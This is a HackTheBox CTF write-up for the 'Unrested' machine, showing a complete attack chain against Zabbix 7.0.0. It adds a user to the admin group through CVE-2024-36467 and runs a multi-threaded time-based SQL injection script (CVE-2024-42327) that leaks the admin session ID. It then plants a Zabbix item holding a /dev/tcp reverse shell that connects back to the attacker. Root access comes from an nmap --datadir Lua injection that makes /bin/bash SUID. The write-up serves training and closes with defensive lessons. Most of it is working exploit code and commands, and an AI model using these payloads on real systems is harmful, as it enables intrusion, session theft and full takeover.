HTB: Unrested Writeup
Unrested - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Unrested |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Unrested is a medium difficulty Linux machine hosting a vulnerable Zabbix 7.0.0 instance. The target is exploitable through two critical CVEs: CVE-2024-36467 (missing access controls in the user.update API function) and CVE-2024-42327 (SQL injection in the user.get API function). After gaining admin privileges via the access control bypass, remote code execution is achieved by creating malicious Zabbix items. Post-exploitation reveals a misconfigured sudo rule allowing the zabbix user to execute nmap with an exploitable —datadir parameter, leading to privilege escalation through Lua script injection.
TL;DR: Enumerate Zabbix → Exploit missing access controls to become admin → SQL injection to leak admin session → Create malicious item for RCE → Abuse nmap —datadir with custom Lua payload for root access.
Reconnaissance
Port Scanning
ports=$(nmap -p- --min-rate=1000 -T4 10.129.231.176 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -sC -sV 10.129.231.176Results:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 |
| 80 | HTTP | Apache httpd 2.4.52 (Ubuntu) |
| 10050 | tcpwrapped | Zabbix Agent |
| 10051 | ssl/zabbix-trapper | Zabbix Server |
Service Enumeration
Port 80 hosts an Apache web server that redirects to a Zabbix login interface. Default credentials are available for a user named matthew with the password 96qzn0h2e1k3. After authentication, the Zabbix dashboard is accessible, revealing version 7.0.0 at the bottom of the page. The authenticated user (matthew) is assigned the default User role with minimal privileges.
Ports 10050 and 10051 are associated with Zabbix agent and server components respectively, confirming this is a full Zabbix installation.
Vulnerability Assessment
Version 7.0.0 of Zabbix is vulnerable to:
-
CVE-2024-36467: Missing authorization checks in the
user.update()function within the CUser class allow authenticated users to modify user group assignments without proper validation. -
CVE-2024-42327: SQL injection vulnerability in the
user.get()function’sselectRoleparameter when theeditableflag is set, enabling time-based blind SQL injection attacks. -
Misconfigured sudo: The zabbix user can execute
/usr/bin/nmapwith NOPASSWD sudo privileges, which is a wrapper script that fails to properly restrict the--datadirparameter.
Initial Foothold
Exploitation Path
Step 1: Authenticate to the Zabbix API
First, obtain an API authentication token using the provided credentials:
curl --request POST \ --url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \ --header 'Content-Type: application/json-rpc' \ --data '{"jsonrpc":"2.0","method":"user.login","params":{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}'Response:
{"jsonrpc":"2.0","result":"<AUTH_TOKEN>","id":1}Step 2: Exploit CVE-2024-36467 (Missing Access Controls)
The user.update() function lacks proper authorization checks for user group assignments. The checkHimself() function only validates direct role changes but does not validate user group (usrgrps) modifications. Abuse this to add matthew to the Zabbix administrators group:
curl --request POST \ --url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \ --header 'Content-Type: application/json-rpc' \ --data '{"jsonrpc":"2.0","method":"user.update","params":{"userid":"3","usrgrps":[{"usrgrpid":"13"},{"usrgrpid":"7"}]},"auth":"<AUTH_TOKEN>","id":1}'Response:
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}Verify the group assignment:
curl --request POST \ --url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \ --header 'Content-Type: application/json-rpc' \ --data '{"jsonrpc":"2.0","method":"user.get","params":{"output":["userid","username"],"selectUsrgrps":["usrgrpid","name"],"filter":{"alias":"matthew"}},"auth":"<AUTH_TOKEN>","id":1}'Matthew is now a member of the Zabbix administrators group and can create items.
Step 3: Exploit CVE-2024-42327 (SQL Injection)
The selectRole parameter in user.get() is vulnerable to SQL injection when editable is set. Create a request file for SQLMap:
POST /zabbix/api_jsonrpc.php HTTP/1.1Host: 10.129.231.176Content-Type: application/json-rpc
{ "jsonrpc": "2.0", "method": "user.get", "params": { "output": ["userid", "username"], "selectRole": ["roleid", "name *"], "editable": 1 }, "auth": "<AUTH_TOKEN>", "id": 1}Execute SQLMap to identify and extract data:
sqlmap -r req --dbsConfirm the injection with a time-based payload:
curl --request POST \ --url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \ --header 'Content-Type: application/json-rpc' \ --data '{"jsonrpc":"2.0","method":"user.get","params":{"output":["userid","username"],"selectRole":["roleid","name AND (SELECT 1 FROM (SELECT SLEEP(5))A)"],"editable":1},"auth":"<AUTH_TOKEN>","id":1}'The response will be delayed by 5 seconds, confirming the injection.
Step 4: Extract Admin Session via SQL Injection
Use a multi-threaded script to leak the admin session from the zabbix.sessions table:
import requests, jsonfrom datetime import datetimeimport string, random, sysfrom concurrent.futures import ThreadPoolExecutor
URL = "http://10.129.231.176/zabbix/api_jsonrpc.php"TRUE_TIME = 1ROW = 0USERNAME = "matthew"PASSWORD = "96qzn0h2e1k3"
def authenticate(): payload = { "jsonrpc": "2.0", "method": "user.login", "params": { "username": f"{USERNAME}", "password": f"{PASSWORD}" }, "id": 1 }
response = requests.post(URL, json=payload)
if response.status_code == 200: try: response_json = response.json() auth_token = response_json.get("result") if auth_token: print(f"Login successful! Auth token: {auth_token}") return auth_token else: print(f"Login failed. Response: {response_json}") except Exception as e: print(f"Error: {str(e)}") else: print(f"HTTP request failed with status code {response.status_code}")
def send_injection(auth_token, position, char): payload = { "jsonrpc": "2.0", "method": "user.get", "params": { "output": ["userid", "username"], "selectRole": [ "roleid", f"name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF)" ], "editable": 1, }, "auth": f"{auth_token}", "id": 1 }
before_query = datetime.now().timestamp() response = requests.post(URL, json=payload) after_query = datetime.now().timestamp()
response_time = after_query - before_query return char, response_time
def test_characters_parallel(auth_token, position): with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(send_injection, auth_token, position, char): char for char in string.printable} for future in futures: char, response_time = future.result() if TRUE_TIME - 0.5 < response_time < TRUE_TIME + 0.5: return char return None
def print_progress(extracted_value): sys.stdout.write(f"\rExtracting admin session: {extracted_value}") sys.stdout.flush()
def extract_admin_session_parallel(auth_token): extracted_value = "" max_length = 32 for position in range(1, max_length + 1): char = test_characters_parallel(auth_token, position) if char: extracted_value += char print_progress(extracted_value) else: print(f"\n(-) No character found at position {position}, stopping.") break return extracted_value
if __name__ == "__main__": print("Authenticating...") auth_token = authenticate() print("Starting data extraction...") admin_session = extract_admin_session_parallel(auth_token)Run the script:
python3 poc.pyExpected Output:
Authenticating...Login successful! Auth token: <redacted>Starting data extraction...Extracting admin session: <ADMIN_SESSION_ID>Step 5: Create Malicious Zabbix Item for RCE
Using the extracted admin session token, retrieve host information:
curl --request POST \ --url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \ --header 'Content-Type: application/json-rpc' \ --data '{"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid","host"],"selectInterfaces":["interfaceid"]},"auth":"<ADMIN_SESSION>","id":1}'Response:
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}Create an item with a reverse shell payload:
# Set up listener firstnc -lvvp 4448
# Create the malicious itemcurl --request POST \ --url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \ --header 'Content-Type: application/json-rpc' \ --data '{"jsonrpc":"2.0","method":"item.create","params":{"name":"rce","key_":"system.run[bash -c '"'"'bash -i >& /dev/tcp/10.10.14.100/4448 0>&1'"'"']","delay":1,"hostid":"10084","type":0,"value_type":1,"interfaceid":"1"},"auth":"<ADMIN_SESSION>","id":1}'Response:
{"jsonrpc":"2.0","result":{"itemids":["47184"]},"id":1}Trigger the item with a task:
curl --request POST \ --url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \ --header 'Content-Type: application/json-rpc' \ --data '{"jsonrpc":"2.0","method":"task.create","params":[{"type":"6","request":{"itemid":"47184"}}],"auth":"<ADMIN_SESSION>","id":1}'Reverse Shell Output:
Listening on 0.0.0.0 4448Connection received on 10.129.231.176 43272bash: cannot set terminal process group (14802): Inappropriate ioctl for devicebash: no job control in this shellzabbix@unrested:/$Retrieve the user flag:
cat /home/matthew/user.txtPrivilege Escalation
Exploitation Path
Step 1: Enumerate Sudo Privileges
Check what commands the zabbix user can execute with sudo:
sudo -lOutput:
Matching Defaults entries for zabbix on unrested: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty
User zabbix may run the following commands on unrested: (ALL : ALL) NOPASSWD: /usr/bin/nmap *Step 2: Analyze the nmap Wrapper
The system has a restrictive nmap wrapper. Inspect its contents:
cat /usr/bin/nmapOutput:
#!/bin/bash
################################### Restrictive nmap for Zabbix ###################################
# List of restricted options and corresponding error messagesdeclare -A RESTRICTED_OPTIONS=( ["--interactive"]="Interactive mode is disabled for security reasons." ["--script"]="Script mode is disabled for security reasons." ["-oG"]="Scan outputs in Greppable format are disabled for security reasons." ["-iL"]="File input mode is disabled for security reasons.")
# Check if any restricted options are usedfor option in "${!RESTRICTED_OPTIONS[@]}"; do if [[ "$*" == *"$option"* ]]; then echo "${RESTRICTED_OPTIONS[$option]}" exit 1 fidone
# Execute the original nmap binary with the provided argumentsexec /usr/bin/nmap.original "$@"The wrapper blocks known GTFOBins escape techniques but fails to restrict the --datadir parameter.
Step 3: Exploit nmap —datadir Parameter
The --datadir option allows specifying a custom Nmap data directory. By default, nmap loads nse_main.lua from /usr/share/nmap. Create a malicious Lua script in /tmp and use --datadir=/tmp to execute arbitrary code as root:
# Create malicious Lua scriptecho 'os.execute("chmod 4755 /bin/bash")' > /tmp/nse_main.lua
# Verify current bash permissionsls -la /bin/bashOutput:
-rwxr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bashExecute nmap with the custom datadir and -sC flag to trigger script scanning:
sudo /usr/bin/nmap --datadir=/tmp -sC localhostOutput:
Starting Nmap 7.80 ( https://nmap.org ) at 2024-12-02 00:09 UTCnmap.original: nse_main.cc:619: int run_main(lua_State*): Assertion `lua_isfunction(L, -1)' failed.AbortedDespite the assertion error, the Lua script executes before the error occurs. Verify that bash is now SUID:
ls -la /bin/bashOutput:
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bashStep 4: Spawn Root Shell
Execute bash with the -p flag to use the effective UID (0):
/bin/bash -pbash-5.1# iduid=114(zabbix) gid=121(zabbix) euid=0(root) groups=121(zabbix)Retrieve the root flag:
cat /root/root.txtAttack Chain Summary
Enumerate Zabbix 7.0.0 ↓Authenticate as matthew user ↓CVE-2024-36467: Exploit missing access controls in user.update() via usrgrps parameter ↓Become Zabbix administrator ↓CVE-2024-42327: SQL injection in user.get() selectRole parameter ↓Extract admin session from zabbix.sessions table ↓Create malicious Zabbix item with reverse shell ↓Gain RCE as zabbix user ↓Enumerate sudo privileges: sudo /usr/bin/nmap * ↓Bypass nmap wrapper restrictions with --datadir=/tmp ↓Inject Lua code into /tmp/nse_main.lua ↓Execute nmap with -sC to trigger Lua execution ↓SUID /bin/bash as root ↓Spawn root shell ↓Root AccessTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | API interaction and payload delivery |
sqlmap | SQL injection identification and exploitation |
netcat | Reverse shell listener |
python3 | Multi-threaded SQL injection script execution |
bash | Shell access and exploitation scripting |
Key Learnings
Techniques Practiced
- API security testing and authentication token extraction
- PHP source code analysis for vulnerability identification
- Time-based blind SQL injection exploitation with multi-threading
- Zabbix item creation and remote code execution
- Linux privilege escalation via sudo misconfiguration
- Lua script injection in Nmap custom data directories
- SUID bit manipulation for privilege escalation
Lessons Learned
-
API Authorization Flaws: Always validate that API functions enforce proper authorization checks. The
user.update()function had incomplete validation that allowed group membership manipulation despite role change restrictions. -
Parameterized Queries: SQL injection vulnerabilities arise when user input is concatenated into queries without proper sanitization. The
selectRoleparameter demonstrates the danger of dynamic query construction. -
Wrapper Script Limitations: Security wrappers around binaries can be bypassed if alternative parameter handling is not considered. The nmap wrapper blocked common exploit vectors but overlooked the
--datadirparameter. -
Sudo Privilege Escalation: A single unrestricted sudo privilege can compromise the entire system if the underlying binary has exploitable features. Even with restrictions, alternative abuse vectors may exist.
-
Defense in Depth: Zabbix should implement multiple layers: (a) proper authorization checks in API functions, (b) input validation on all parameters, and (c) principle of least privilege for service accounts.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>